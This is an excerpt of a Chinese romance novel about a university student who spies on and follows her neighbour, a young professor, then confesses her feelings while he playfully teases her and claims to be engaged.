图片载入中

【米璐璐】《黎家四姊妹系列-III》逗你逗上瘾-黎童童

特大字】 【大字】 【中字】 【小字

黎家有一个老头,拥有四个让他头痛的女儿──

老大黎香香,长得圆滚滚,个性害羞内向,让黎老头烦恼的地方,就是她爱哭、爱吃、又爱“卢”,专长是将甜食当正餐吃。

老二黎熊熊,别看她一副瘦弱的模样,但却拥有熊的爆发力,脾气火爆得教人不敢恭维,而让黎老头担心的地方,就是那毛毛躁躁的个性,活像安静不了的过动儿。

老三黎童童,虽然拥有一头乌亮的长发,长相也清清秀秀,但是当她不高兴,开口便是一连串问候你家人的不雅字眼,上至祖先、下至你老师,都有可能遭到她亲切的问候,这也是黎老头最头痛的地方。

老四黎小小在黎老头殷切期盼之下,终于比较像正常人,甜美、可爱,外表几乎没有可挑剔的地方;最大的缺点就是她嗜钱如命,只要有钱的地方,再怎么辛苦她都会努力钻研。

黎老头坐在沙发上,望着四个女儿小时候的照片,一张老脸满布愁云。

唉!再下去怎么得了呢?他的女儿长相不差,怎么一个比一个难搞,要是她们嫁不出去,留在家里变古董怎么办?

哀声叹气之余,黎老头的脑袋里却精明地运转着。

最好的方法就是──把她们嫁了,让未来的老公调教她们!

逗你逗上瘾1

每天每天

只要能看到你

就觉得今天的心情好飞扬……

第一章

她喜欢一个人。

这是她的小秘密,没有人知道,也没人发现。

黎童童小心翼翼地走到窗户边,小手撩起窗帘,小脸悄悄钻了进去,偷看窗外的景色。

这时正值清晨时分,五点五十五分,分秒不差。

对面的窗内站着一个高大的男子,此时此刻只有下半身围着一条白色浴巾,露出精壮的上半身。

她轻易地就能看到他发丝上不断落下的水珠,就知道两人身处的公寓是多么相近了。

由于黎童童离家到外地读书,所以一个人在外租屋,而对面的房客也是近期才搬进来的。

这几个礼拜,她一直在观察他。

每天早晨五点三十分,他会从房间走出,进入浴室;五点五十五分,他会洗脸刷牙完毕,开始在客厅里用运动器材健身。

她目不转睛地看着他的一举一动,心跳怦怦跳着,仿佛在做坏事般,对他的一切一览无遗。

观察他这么多天之后,她发现他的生活很有规律──早上六点二十分,他一定会出门到附近的社区跑步,七点的时候,会到便利商店买份早报,接着到中式早餐店吃早餐、看报。

七点半,他会回到住处沐浴,换上轻便的衣服,然后在八点整出门。

这一切,她都了若指掌,甚至作息也变得跟他一样。

就在这个礼拜,她发现另一件小秘密──这个男人竟然是她学校里的教授!而且教的是心理系的课程。

换句话说,只要过完这个寒假,她就可以上他的课了!

但现在她没有任何理由接近他,他也不认识她,于是她只得每天跟随他的脚步,与他做同样的事情,等待他主动发现她。

黎童童眨眨像洋娃娃般的大眼睛,看看时间,等等他就要到公园跑步了,于是她冲进浴室梳洗一番,换上运动衫、穿上运动鞋。

六点十五分,刚刚好,她狡黠的眸子一眨,便关上门往社区公园步去。

嘿嘿嘿……她希望能藉机和他混熟,认识对面的房客。

好吧,她承认她的做法是变态了一些,但是她第一眼见到他,就喜欢上这个白净、斯文的大学教授了。

而且他和学校教授不一样──

他年轻、俊美;不像那些老不死又啰唆、食古不化的老蟑螂。

他待人礼貌、优雅;不像老蟑螂们气焰甚高,只会颐指气使。

所以,她很没骨气地沦陷在他特别的优雅气质之下。

在她的眼里,他就像英国的贵公子,一头整齐的短发,配上一张斯文的俊颜,脸上戴着无框眼镜,有一种书卷且优雅的气质。

若不是她偷窥见得,她当然不会发现他衣下那副健壮的身材,结实却又不像恐怖的肌肉男。

说来话去,她就是喜欢他这型的男人!

因此,她就像中毒的变态,想跟随在他脚步后面,看看会不会与他谱出一段禁忌的师生恋曲。

她深唿吸一口,看看腕上的手表,正好六点二十分。

脑海里都是美丽的蓝图,企图想要有一天和白马王子手牵手地共创未来……

只是,有时候美好的未来是与现实逆道而行的。

“小姐,你跟踪我好几个礼拜了。”穿着蓝色休闲衫的任维骐,突然回头望着身后娇小的女孩。

她有着一头乌亮的长发,束成一大把马尾,身上穿着运动衫和短裤,露出白皙的长腿。

他不能否认,她确实长得清秀可爱,尤其五官看起来十分精致。

尤其她抿起一张小嘴时,竟有一种清冷的模样,高傲得如同一朵野玫瑰。

黎童童不得不在任维骐面前停下来,轻轻咬着自己的唇瓣。“我……我哪有跟踪你呀?”她口是心非地说着,把狡辩当成保护色。

“那我可以说,每天同一时间出现在公园里是巧遇啰?”任维骐保持礼貌性的笑容,望着黎童童闪烁的双眸。

他是心理学系毕业的,当然明白人性的弱点,尤其他有一双慧眼,很快就能找出对方说谎的小动作。

例如眼前的小女孩,她的眼光不敢直视他,右手轻轻抓着衣角,显示此人正处于紧张状态。

“没……没错!”黎童童抬起小脸,为了不让自己的小秘密被发现,她表现得一点都不在意。“有人规定公园不能来吗?而且,谁说每天在这里运动就是跟踪你呀?”

“那还真巧。”任维骐笑眯双眸。“那我现在慢跑完,要到便利商店买东西了。”他不是笨蛋,当然早就看出这个小女孩的心思。

他早就发现这个小女孩每天都会尾随他到便利商店买早报,然后跟着他到中式早餐店吃早餐。

“哼!”黎童童佯装不在意,怕被他看出心思。

但她眼角的余光却忍不住凝着他看,只见他耸耸肩,迳自往前走去。她一急,竟然大方地跟在他的后头走着。

来到便利商店,任维骐拿了一份早报,黎童童也学他拿了一份早报。

他付钱,她也付钱;他走出便利商店,她也跟在他的后面。

任维骐倒不觉得有什么好困扰的,只是研究人类心理这么多年,却是头一次见到人性这么坦白、率直的表现,偏偏口中却又不诚实地否认。

所以他想看看她能坚持到什么地步,也故意佯装不在意。

果不其然,她又跟着他到早餐店。

他点了蛋饼加豆浆,她点了三明治加奶茶。不同的是,她今天没有坐在他后面的座位,而是直接大方地坐在他的面前。

她的脸上有着挑衅的表情,一副“你奈我何”的神情。他朝她轻笑一下,摊开报纸,一边吃着蛋饼,一边看着今日新闻。

哼,无趣!她还以为他会盘问她的身家资料,没想到却是将她当成路人甲,仿佛没将她放在眼里。

最后,黎童童忍不住放下手上的三明治,瞪着任维骐看报纸的侧脸。

他当然明白她在观察她,以讶异的表情望着她。“咦,还真巧耶!我们在早餐店也碰面了。”

“这里是公共场合,有人规定不能来吗?”黎童童的嘴巴虽然厉害,但她的心里却不是这样想。

她根本不想这么气焰地跟他说话,只是天生嘴巴会很俐落地应嘴回去。

“那我是不是能说,我和你很有缘分?”他放下报纸,朝她淡然一笑。

他发现她的反应灵敏,只是她的思考方式无厘头般地让他想要发笑。那种小孩子说谎式的蹩脚圆谎方式,让他忍不住想逗她。

“就是你上辈子烧了好香,才会遇上本小姐。”黎童童以跩跩的语气回答,一双美丽的眼眸有着不容欺陵的倔强目光。

噗──这女孩有趣极了!

任维骐认真地审视黎童童的长相,她长得白白净净,有着一张无瑕的瓜子脸,一头长发束成马尾,露出圆润饱满的额头,熠熠闪着的黑眸镶在脸上,配上小巧的鼻子以及丰满的唇瓣。

虽然她不是倾城倾国的美人儿,但却是清秀佳人。只不过她眼里有着一抹倔强,削去她原本柔弱的模样,多了防备的针刺。

若说她是一朵百合,倒不如形容她是一朵白玫瑰还来得适合。

“你观察我很多天,有没有一点收获?”他挑着眉看着她,坏坏地挑起嘴角,想听听她的反应。

他不是笨蛋,早知道她跟踪他好几天了,他以为她是他的爱慕者,但是她始终跟他保持着距离,没有做出任何疯狂的动作。

她抿着唇瓣,若是开口的话,就是不打自招,摆明是在跟踪他!

“你太往脸上贴金了。”黎童童撇过小脸,一副打死她也不会承认的模样。“我干嘛跟踪一个老头?”

老头?!任维骐拢起眉宇。他不过三十二岁,全身上下散发着健康、精壮的气息,哪里像老头了?

“你是不是太久没有交女朋友了,所以才会胡思乱想。”看他表情一愣,她顽皮地猜测。

至少她在观察他时,他的公寓不曾有女人进驻过。

任维骐咧开一张笑容,良好的修养让他没有动怒。“抱歉,这点让你失望了。”

“什么?!”黎童童一听到任维骐自信的说法,双眸瞪得圆大。“难道你有女朋友?”

不会吧?她还想追他耶!

“我订婚了。”任维骐亮出左手的无名指。“所以我作息正常,私生活也正常。”

搞什么鬼?他订婚了?!

有没有搞错啊?怎么没有人告诉她这件事呢?她脸色一阵白、一阵青,一双眸子哀怨地瞪着他。

“你骗人,你明明都是一个人在家!”黎童童皱着眉说,小手抓着任维骐的大掌。“这个戒指一定是装饰品!”

“你怎么知道我一个人在家?”任维骐脸上的表情倏地变为严肃。“你偷窥我?”

他怎么不知道自己成了被偷窥的对象?!

“你……”黎童童挣脱被任维骐箝制的小手,一时心慌便从位置上站起来。

不管啦!她喜欢他快一个月了,他怎么能有“未婚妻”这种生物?

“说清楚!”他拢眉问着。

“不要啦!”她和他在早餐店里拉拉扯扯,惹来不少旁人的注目。

任维骐见这样下去也不是办法,于是只得付完钱,拉着黎童童步出早餐店。

他一定要将事情搞清楚!省得到时候偷拍录像带上市后,他还不知道自己当了免费的男主角。

事情脱轨了!

黎童童根本不知道事情会进展得这么快──这么快就进入他的公寓之中。

任维骐的公寓就如她平时所看到般干净、简单,客厅里只有一组沙发,放着电浆电视、音响组,前方则是玻璃茶几,底下铺了柔软的地毯,而另一边则放着健身器材。

再往里头瞧,则是干净的厨房,桌上还散发着阵阵咖啡香味。

这应该是他刚刚出门时煮的咖啡,原来他会先煮好咖啡,然后装进保温瓶,带去学校品尝。

厚──她又多了解他一些了。

“坐。”任维骐见黎童童脸上没有一点害怕之色,走进厨房倒了一杯牛奶给她。“我想我们需要谈谈。”

黎童童有些坐立不安,她没想到自己的蹩脚偷窥在此时露了馅。而且,她还笨到将事实告诉他。

黎童童你是白痴啊!她暗骂自己的“出槌”。

“你为什么知道我一个人在家?”任维骐眯眸望着长相清秀的黎童童,发现她正心虚地低下头,眼光根本不敢直视他。

“以常理判断嘛!”黎童童小声的回答,眼光就是不敢望着任维骐。“像你这种老头,会这么早就起床,而且还去公园跑步、到便利商店买早报,吃完早餐又没有多买其它人的份,所以我判定你一定一个人住!”

厚──她实在太聪明了!没想到随便拗,也可以拗出这么实在的借口。

如果他是平常人,或许会被她这席话给唬弄;但是他学了人类心理那么久,这女孩表现出来的迹像一点都不像在说实话。

“你说话前后矛盾。”任维骐啜了一口咖啡,挑眉望着黎童童。“如果你没注意我,你怎么会知道我每天到公园慢跑、到早餐店吃早餐,又没外带早餐?”

这下子,黎童童结口难言,只能骨碌碌地转着黑眸。

这男人干嘛每次都要戳破她的谎言呢?她的小脑袋瓜里绕着成千上万的借口,但是却没有一个可以让人信服的理由。

“谁教我每天都会遇到你?”黎童童找了一个不是理由的理由。“要不是天天都会见到你,我对你的印象也不会这么深刻。”

这是她的真心话。若不是见到他的刹那就喜欢上他优雅的气质,她也不用像个变态般,透过偷窥监视他的一举一动。

“那说来说去,全部都是我的错吗?”任维骐倒也没有生气,只是好奇这名女孩的聪敏反应。

黎童童抬高小脸,哼了一声。“要不然是我的错吗?而且你随便带我来到你的公寓,表示你心存不良……”

“噗──”他忍不住噗哧笑了一声。“小女孩,你的想像力太丰富了。”

经过她的提醒,他才发现自己做了错误的决定。

他确实不该将她带进自己的公寓,何况他现在还是教职的身份,若被别人看见,恐怕对他的声誉也不好。

“可是这明明是事实。”黎童童嘟着小嘴,虽然心里有点暗爽,没想到这么快就能入侵他的公寓。

嘿嘿,因祸得福啦!

“好吧,我向你道歉!我不该这么大胆地带你回我的公寓,为了表达我的歉意,我送你到门口,希望你下次不要这么大胆,跟一个陌生的老头回家。”任维骐从沙发上站起身,准备请她离开自己的公寓。

“你这个人怎么这样?把我当小狗诱拐来,不需要我又要把我踹开?”黎童童不高兴地瞪了任维骐一眼。

“小女孩,那你要我怎么办呢?”他是不是老了,怎么觉得跟小女孩那么难沟通?

黎童童侧着小脸,很认真地用力思考。“请我吃饭,当作赔罪。”她抬高小脸,直视着他迷人的黑眸。

任维骐先是愣了一下,她的反应确实出乎他的意料之外,她的要求竟然是和他继续牵扯?这女孩的特别引起他的注意。

“OK,我答应你。”任维骐无奈地摊摊手,遇到这个特别的女孩,他认了。“我叫任维骐,是X大的教授。”

“真巧,我也是X大的学生。”嘿嘿,一点都不巧!她早就把他的底细摸清楚了。“我叫黎童童,以后请多多指教啦!”

任维骐脸色一变,原来眼前的女孩是X大的学生?换句话说,或许她也是他众多学生之一?

任维骐觉得今早发生的事情非常诡异,似乎是在冥冥之中注定好的……

没错!故事接下来,就是任维骐与黎童童牵扯不清的纠葛──

第二章

任维骐没想到黎童童就像命中注定的黏皮糖,自从那天早晨与她相遇之后,她总会不预期地出现在他的面前,不像之前只会默默跟在他的后头。

在学校的情况还算好,由于他接任教职没多久,她并没有主修他的课,只是偶尔没课时会来旁听。

只是她来旁听时,总是仗着自己伶牙利嘴,一开口便是问他一些稀奇古怪的问题,要不就是存心找他的麻烦,考验他的临场反应。

不过他也不是省油的灯,对于她的问题总是很快地回答,没有被这个鬼灵精怪的小女孩给唬弄住。

不过今天的课,他并没有在学生群中见到黎童童。

当当当──

下课了,任维骐收拾书本后,与同学们打声招唿,离开教室,来到自己的研究室。

就在此时,一名长相艳丽的女学生风情万种地来到他的面前,手上还提着精致的餐盒。

不畏众人的眼光,女学生直接送上餐盒,还娇媚地多送他一个媚波。

“任教授,这是我做的便当,希望你能尝尝。”女学生大方地朝他展开笑颜,还故意挤了挤裸露胸前的乳沟。

开玩笑,难得学校来了这么年轻、斯文俊秀的男教授,春情荡漾的女学生当然要好好把握这样的机会。

何况她都大四了,只要撑过一年,搞不好还可以顺利跟这名长相不差的教授拍拖咧!

如意算盘都打好了,就欠临门一脚……

这时,恰好这节没课的黎童童,正巧也来到任维骐的研究室,碰见了这样的场面。

没想到也有女同学看上任维骐,摆明就是要跟她抢男人!有没有搞错呀?他可是她先看上的耶!

在他还没来学校任教时,她就费尽心思调查他了,岂容那个总是把男人当成采阳补阴工具的花痴给抢走?她不准这样的事情发生!

“最近新闻有报导,来路不明的东西不要吃,省得闹肠胃炎。”黎童童来到任维骐身旁,双眸冷冷瞪着殷懃示好的何丽丽。

“黎童童!”何丽丽当然认识黎童童,两人不但是同班同学,好死不死又是彼此的眼中钉。

话说两人的恩怨,开始于每年的校花选拔大赛,虽然何丽丽长相妖艳、身材火辣,做人也懂得巴结客套,可每年的校花总是被黎童童夺去,让她气得牙痒痒的。

何丽丽不明白,黎童童只是长相清秀,说话直来直往又不加修饰,甚至喜怒哀乐都不懂得掩饰,一说话便是夹枪带棍的,这种女人怎么会获得校花荣誉?所以何丽丽一向心有不甘。

就连现在她来巴结任教授,这机车黎童童来蹚什么浑水呀?

“有事吗?何同学。”黎童童笑眯双眼,就是故意要当他们的电灯泡。

“你没看到我在和任教授说话吗?”何丽丽不高兴地瞪着黎童童,眼珠子都快瞪出来了。“你这人懂不懂礼貌?”

黎童童睨了何丽丽一眼,冷笑一声。“我当然懂得礼貌,但就是不懂怎么对海洋生物礼貌。”

“海洋生物?”何丽丽不懂地皱起眉尖,不知她意指何物。

“八爪章鱼。”黎童童也不吝啬地为同学解惑。

何丽丽脸色一阵红、一阵白,气得牙痒痒的。

任维骐用力忍住笑意,没想到黎童童骂人竟然如此经典,而且又富有创意,令他差点失笑出声。

“黎童童,你是故意找我麻烦吗?”何丽丽顾不得形象,瞪着黎童童尖叫。

黎童童耸耸肩,她向来不介意别人怨恨她,尤其这个八爪女敢跟她抢男人……哼,她当然就不用给何丽丽面子。

“那你是故意来找教授麻烦吗?”黎童童懒懒地望了何丽丽一眼。“还是你觉得这里人少,想偷袭任教授?”

何丽丽脸一臊,没想到自己的计画竟被黎童童识破。

没错,她确实想趁四处无人时,将这名看起来老实的年轻教授推进他的个人研究室,接下来就可以这个那个了……

谁知道半路跑出一个程咬金,阻止了她的计画。

“我……我才没有这种想法。”

何丽丽恼羞成怒地忘了自己的目的,将手上的餐盒塞到任维骐手上,转头就走。

黎童童朝何丽丽的背影做了一个鬼脸,最后回头望着一声不吭的任维骐。

他正低头望着她幼稚的动作,嘴角扬起一个弧度。

“不用感谢我,我只是……路见不平、拔刀相助。”黎童童表现出一副潇洒的模样,事实上她的心里正在呐喊着──

快开口说要感谢她,然后邀请她来一次约会!黎童童眼里有着殷切的盼望。

任维骐轻笑一声,转身打开研究室的门,“要进来喝杯咖啡吗?”

“要!”黎童童倒也不啰唆,用力地点头。她的目的就是为了接近他,今天有这样的机会,当然不能放过。

任维骐始终维持着笑容,眸子却闪过一抹锐利。

谁玩心机,答案还未揭晓。

任维骐的研究室很简单,而且坪数不大,只放了一张计算机桌,基本的计算机配备都有,还有一张长沙发、茶几,以及几张椅子,整理得十分清爽干净。

任维骐将门轻轻关上,小小的房间只有他们两人。

“我这里只有我自己带来的咖啡。”任维骐打开保温瓶,一股浓浓的咖啡香散溢在空间四周。

黎童童耸耸肩,表示自己不在意。接过他手中的杯子后,她啜了一口,香醇咖啡香在嘴里散开,一双美丽的眸子望着他。

“没想到任教授还满受欢迎的嘛!”黎童童的声音有点酸熘熘的,扬起柳眉说着。

任维骐轻笑一声,啜了一口温咖啡。“我还要感谢你出手相救呢!若不是你,我还真的不知该怎么拒绝她们。”

其实他来这所大学任教,也是有一堆头痛的事。

像是常常被女学生纠缠,要不然就是在休息时间被她们的柔情礼物、便当、点心给淹没。

他在各所学校任教几年,头一次被这所学校女学生的热情与毅力吓到了。

不过难得的是,他倒是没有被黎童童吓到,反倒觉得她的反应与一般女孩子不同,看到他不会脸红、胆怯,甚至就算是说谎都理直气壮的,找了一堆勉强的借口。

“你不拒绝她们,难道你很享受这种感觉吗?”哼,这个死色狼!就知道他原来也很爱这种被包围的感觉。

“我对自己的学生没有兴趣。”任维骐嘴角扬起轻笑,淡然地解释。

什么?!黎童童瞪大双眸望着任维骐,脸上闪过一丝惊讶。

如果他不对学生感兴趣,换句话说,他对她也没有任何兴趣啰?

怎么可以啦!她喜欢他耶!

如果他对她一点反应都没有,那她要到什么时候才能向他表明心意呢?

哎唷,好烦哦!黎童童懊恼地轻咬着唇瓣。

任维骐抬眸,正好看到黎童童的表情,发现她正苦恼地咬着下唇,表情看起来非常可爱。

认识她这几天,他发现她每次硬要隐藏自己的情绪,脸上都会泄漏她的想法,一点做作与隐藏都不会。

“那……你喜欢什么样的女人?”黎童童在心里盘算许久,再过几个月她就从学校毕业了,到时候她就不是他的学生了,而他,会喜欢上她吧?

正在喝咖啡的任维骐差点被呛到,一点都没想到黎童童会直接出招。

他当然明白她的意思,从跟踪他到有此一问,他有些怀疑,她的动机一点也不纯正。

“你为什么问这个问题?”

不知为何,任维骐难得收起平时精明的模样,与黎童童玩起迷煳战,目的就是想逗逗她,多看看她脸上的表情。

他是真不懂还是假不懂啊?黎童童扭扭衣角,一点也不像平时的她。

“我只是好奇,”她嘟着小嘴,硬是要逞强地改口:“你对女人的标准。”

其实,她很想问他,她合格吗?

可是限于女人的矜持,她并没有告诉他,其实她偷窥他很久,甚至已一点一滴地爱上他。

任维骐扬起一抹使坏的笑容,亮出左手的无名指。“你觉得这个代表什么意思?还是你忘了我手指上的这个事实?”

黎童童眨着大眼,很认真地看着无名指上的戒指,最后倒抽一口气。

那是一只钻戒。通常会带在无名指,表示──他结婚了?!

不会吧?这么刚好哦?她皱起两道好看的柳眉,脸上瞬间出现难看的表情。

虽然她与他第一次有交集时,他就亮出来给她看过了,但是他并没有认真地解释,没想到今天他再次亮出来,他真的死会了吗?

他没想到逗她这么好玩,那张小脸上出现那么复杂的表情,让他对她的印象更为深刻。

而且她的反应几乎是傻了,没有任何响应。

“你你你你你……”她好不容易找回自己的声音,却口吃得严重。“你结婚了?”

任维骐笑而不答,只是耸耸肩,不承认也不否认。

“不可能!”黎童童咬着唇瓣,否绝这样的问题。“是订婚。”

为了让自己不彻底死心,她又给自己一个希望。

“你很介意我是不是单身?”任维骐佯装惊讶,黑眸温柔地望着黎童童。

黎童童压下心头那抹不安,深唿吸一口,然后倔强地开口:“我是怕你为非作歹,享受被女学生环绕的滋味,不过既然你手上有婚戒,代表你应该不会乱来!”

谁知道她的心中此时多么百感交集,呜呜……他手指上有讨人厌的婚戒啦!

任维骐故意不揭晓答案,其实他无名指上的戒指只是用来掩人耳目的,以减少女学生送上门来的机会。

“我……我突然想到我有事情,我先回教室了。”黎童童起身,脚步踉跄地匆忙离开。

任维骐那双温柔的眸子里,浮起饶富兴味的光芒。

没想到,欺负她竟然会让他的心情变好……

看来以后他在这所大学教书的日子,将会有趣多了。

生气、生气!

黎童童现在非常生气,没想到任维骐真的有未婚妻,他的诚实,让她此时感觉胸口非常郁闷。

早知道她就不要那么鸡婆地问他白痴的问题,害她要到答案之后,心中像似有根刺般耿耿于怀。

黎童童一个人回到自己的公寓,连下午的课都不上了,满脑子都是任维骐的话,以及他无名指上的戒指。

她以为这样的打击她可以接受,但是完全没想到,经过好几个小时,她还无法从这样的震撼中跳脱出来,满脑子都是他有未婚妻这件事……

可是,她记得不久前去过他的公寓,并没有发现女人的用品呀!

她焦躁地在房里不断踱步,陷入苦恼的沉思。

还是……她再进入他的公寓里,找出事实的真相?!

要不然她再这样胡思乱想下去,想破脑袋也不会有任何答案。

深唿吸一口,黎童童决定夜访任维骐的公寓。

她随便抓起一本课本,套上外套,冲出自己的公寓后,便直奔任维骐的公寓。

不用五分钟,她就来到他的公寓外头,毫不犹豫地按下门铃。

门铃响了许久,一直没有人响应。

啊!她出门时忘了看他有没有回公寓,现在白跑一趟了吧?

过了仿佛有一世纪之久,就在黎童童放弃了、准备打道回府时,门里响起开锁的声音──

任维骐露出精壮的上半身,下半身只用白色浴巾围着,一头黑发还湿淋淋的,水珠不断沿着他精壮的胸膛滑落。

“童童?”他没想到按门铃的会是她。

“嗨!”黎童童尴尬一笑,一双美眸不知要往哪儿摆。

“怎么了?”任维骐皱眉,很意外她会主动来找他。

黎童童咬着唇瓣,脑中寻找着借口,最后她开启唇瓣,勇敢地发出声音。“我有课业上的问题不懂,所以想找老师帮我解答。”

她说谎了!但是,她的心里真的有解不开的结需要来找他,并且寻找答案,才能让自己心里好过一些。

要不然,她一颗纯纯的心好不容易动心了,却还没开花就夭折了。

女人的执着让她不甘心,她一定要亲眼看到证据,要不然她绝不罢休!

“进来吧!”任维骐虽然讶异,但还是让黎童童进门,免得别人看到他这身打扮而误会。

黎童童踏进任维骐的公寓,发亮的眸子不断四处观望,鼻子也用力闻着。

没有多余的香水味啊!只有一股沐浴乳的淡淡麝香,她又低头看了看室内拖鞋,一律都是男性的颜色,没有女性娇柔的粉色。

唔……他的公寓还没有女人入侵的迹象……

不行,她不能掉以轻心!她很专心地继续研究其它地方。

“你先坐一下,我去换件衣服。”任维骐没有发现黎童童的小动作,露出一抹经典的温柔笑容。

“好。”黎童童突然笑得谄媚,眼儿都笑弯了。

任维骐不疑有她,转身便往房里走去。

如果以为她这么快就放弃侦查,那他就大错特错了!

她要好好观察一下这间屋子有没有另一个女人的味道以及存在的迹象,好证明他是说谎的──

那么,她就不用放弃他,而且还可以找机会告诉他,她喜欢他!

第三章

黎童童偷偷地来到任维骐的卧房,脚步像猫咪般轻盈,探头探脑地观望卧室的摆设。

床头上并没有婚纱照,就连柜子上也没有任何合照……一点都不像已婚的男人。

正当黎童童思考的同时,房里的任维骐走进卧室的浴室,关上玻璃门,冲去刚刚没有冲干净的湿滑沐浴乳。

黎童童见机不可失,于是大胆地踏进任维骐的卧窒,发现里头有一张双人床,被单及枕头都是深蓝色,充满男人的阳刚味。

人家说金屋藏娇,卧室最容易有破绽──但是,她还没有找到证据。

于是,她又悄悄打开他的衣柜,像个小贼般左翻右找,突然翻到一堆子弹型内裤……

她倒抽一口气,小脸涨红得如同西红柿。现在她的动作好像内裤贼,看到一柜子的内裤,竟然有想要喷鼻血的冲动。

不行!她怎么可以只因为他的内裤,就对他起了非分之想?她暗骂着自己,她来这里的目的是要寻找有没有其它女人的迹象,而不是真的要当一个内裤贼。

东翻西找,没有女人的贴身衣物,她才放心地关上衣柜。

她又翻找了好几个地方,听见浴室内的水声戛然停止,她立刻蹑手蹑脚地踏出他的卧室。

她一边佯装从容,回到沙发上拿起课本,露出困惑的脸色,但就算她态度从容,还是压不下胸口的怦跳。

沐浴完毕的任维骐,身上穿着一套休闲服,又恢复斯文有气质的模样,不复刚刚粗犷的味道。

“喝咖啡好吗?”他对她没有任何防备,真的相信她是课业上遇到困难。

“好。”喝什么不是重点,她的重点是要来侦查敌情。

任维骐以很快的速度泡了两杯咖啡来到黎童童面前,一杯放在她的面前,一杯则举到嘴边啜了一口。

他坐在沙发上,看着她手上的课本。“你刚刚在看书?”

“呃……是啊!”黎童童轻笑一声,尽量保持镇静。

任维骐唇瓣勾起一抹笑容。“看很久了?”

“嗯,这个问题我研究很久了。”黎童童煞有其事地回答任维骐的问题。“而且我怎么看也看不懂。”

“你当然看不懂了,”任维骐叹了一口气,将手上的咖啡杯放下。“你课本都拿反了,要怎么研究?”

“啊?”黎童童低头一瞧,这下可糗了!她急忙将课本转正,脸上的红臊更是明显。

任维骐觉得她有点反常,但还是不戳破她的谎言。

“哪里不懂?”他坐到她身旁,两人挨得很近。

他的气息吹拂在她娇嫩欲滴的脸颊上,她瞬间感觉一阵昏眩,就像快融化的冰淇淋般无助。

他一定要靠她这么近吗?她紧张得不知要将眼光往哪儿摆,只能拼命低着头,心跳比刚刚还要快好几拍。

渐渐的,她觉得有些喘不过气,于是便将课本放下。

他的身子也不再和她挨得那么近,两人总算空出一点距离,让她足以唿吸到新鲜空气。

她眨眼望着他,深唿吸一口,望着那张俊美的脸庞。

“怎么了?”见她一瞬也不瞬地望着他,任维骐挑眉问着:“为什么一直这样瞧着我?”

“我……”黎童童一句话也说不出来。

“嗯?”任维骐薄唇微微勾起淡笑。

她在紧张什么?她这样的表情,让他忍不住又想逗她了。

就像在逗一只害羞却又高傲的小猫,那种快感是他最近在她身上寻找到的,反复地逗弄她,让他有一种难以言喻的快乐。像

“其实……”黎童童双手紧抓着自己的衣角,认真地看着他。“我觉得最大的问题是……你到底结婚没?”

没想到个性看似淡漠的她,遇到事情时,竟然这么直接,他真的觉得她有趣极了!

“不要笑!”黎童童咬着唇瓣,觉得他好像把她当成笨蛋。

“这对你来说很重要吗?”任维骐眯起魅力的黑眸,低声问着。

“很重要。”黎童童认真地点头。

“为什么重要?”任维骐轻轻问着,语气有着足以诱人说实话的魔力。

黎童童鼓着脸颊,考虑着要不要跟他坦诚自己的心事……

如果被他拒绝怎么办?他肯不肯接受师生恋呢?

“你先回答我的问题。”黎童童坚持,不想与他讨价还价。

任维骐耸耸肩,态度与在学校的稳重模样不同,反而多了一种狡猾的味道。“戒指只是一个幌子,我还是单身。”

黎童童听了任维骐诚实的告白,莫名地松了一口气,像一颗气球一下子消了气,瘫坐在沙发上……

终于,她心中的大石放了下来。

黎童童想,她是幸运的,因为她的初恋对象是一名教授。

重点是──他未婚!

呵呵呵,她好想去买串鞭炮大肆庆祝一下,她的眼光没有看错,而且她又再度燃起希望。

“换你回答我的问题。”任维骐开口,换他对她好奇了。

他看得出来,她看他的眼光是害羞、内向的,但表现出来的却是力装自然,反而弄巧成拙,笨拙得将她眼里的心事都表达出来了。

被这样一问,黎童童只是抿着唇,不敢马上回答任维骐的问题。

“我……我突然想到有事,必须回家一趟……”黎童童站起身,想要逃避任维骐的问题,不想马上回答。

“这招,你上午就用过了。”任维骐好整以暇地啜了一口咖啡,很快就拆穿黎童童的计谋。

黎童童吐吐舌头,没想到这么快就被识破了!

“反正,我就是很关心你有没有结婚。”她别扭地开口,找了一个很烂的借口。“所以,我知道你没有结婚……就……就……”

“就怎样?”他就是坏心,直想逼她说出真心话。

他倒要看看她会不会说出实话来?

好吧,他承认自从认识她后,就觉得她和一般女孩子不同,想要引起他注意的方式也不同,倒是让他觉得挺新鲜的。

所以他才决定逗逗她,看她还有什么好玩的反应。

“我喜欢你!”好吧!她豁出去了,决定直接跟他告白。

任维骐刚开始有些呆愣,但是看着她期待的表情,他的心里浮起一个坏心眼。

这么殷切、期盼的光芒,让他心里起了一阵涟漪;不过,他倒是很想看看她被拒绝的表情。

于是,他敛起邪恶的一面,脸上的表情有着温柔。

“我很高兴你喜欢我。”他表现得很绅士,语气与上课的口气一模一样,礼貌中带点生疏。“没想到我刚到学校教书没多久,就能受到学生爱戴,让我感到很意外。”

啊?!

看着他温柔的笑容以及不疾不徐的模样,黎童童的小嘴忍不住张开,几乎可以塞下一颗鲁蛋了。

她不是要这样的回答啦!她在心里大喊着,可是喉咙却发不出一点声音。

任维骐的脸上有着深深的笑意,黑眸凝望着黎童童,只是,他眼里所传达的,并不是她想要的男女之爱,而是老师的慈爱光辉!

不是这样啦!她想要他也喜欢她啊……

这下可好,一切都毁了,告白选的真不是时候,他把她的喜欢错当是“崇拜”,扭曲了她对他的情意。

“我的喜欢不是……”她想要重来一遍,只不过因为紧张而显得有些口吃,让她很久都没办法说出完整的字句。

“我知道。”他笑着,故意扭曲她的意思。“不是男女之情,老师理解的。”

他根本就是欺负她,让她没有办法圆自己说出来的话。

这时他才明白,原来自己骨子里这么坏,碰上她,血液里的邪恶就忍不住乱窜,以逗她为乐。

要不然,教书的日子其实很平淡无奇,一点新鲜感都没有。

若不是为了报答恩师,他的理想根本不是回学校教书,但为了偿还人情债,他只得勉强到X大教书一年。

“不是啦!”黎童童几乎快要哭出来了,他为什么一直扭曲她的意思呢?害她词穷,没有办法再解释下去。

“既然你知道老师单身的秘密,我今天就勉强帮你补习吧!”他故意不让她有解释的机会,将她重新拉回沙发上坐好。

她哭丧着脸,不知为何遇上他之后,她的伶俐全被抹煞,连句话都没办法好好解释清楚。

任维骐为了让演技更逼真,将自己的课本全都找了出来。“你应该快毕业了,我帮你准备毕业考,今晚就帮你补习。”

她皱着眉,以疑惑的眼光看着他。

呃……他不会是真的想帮她补习吧?

唉!没有她想像中的男女激情,今夜只有教鞭在她面前执行,脑中被他塞满公式、英文以及乱七八糟的课文……

看来今晚她真的是偷鸡不着蚀把米,计画不但失败,剧情也变了样。

累!

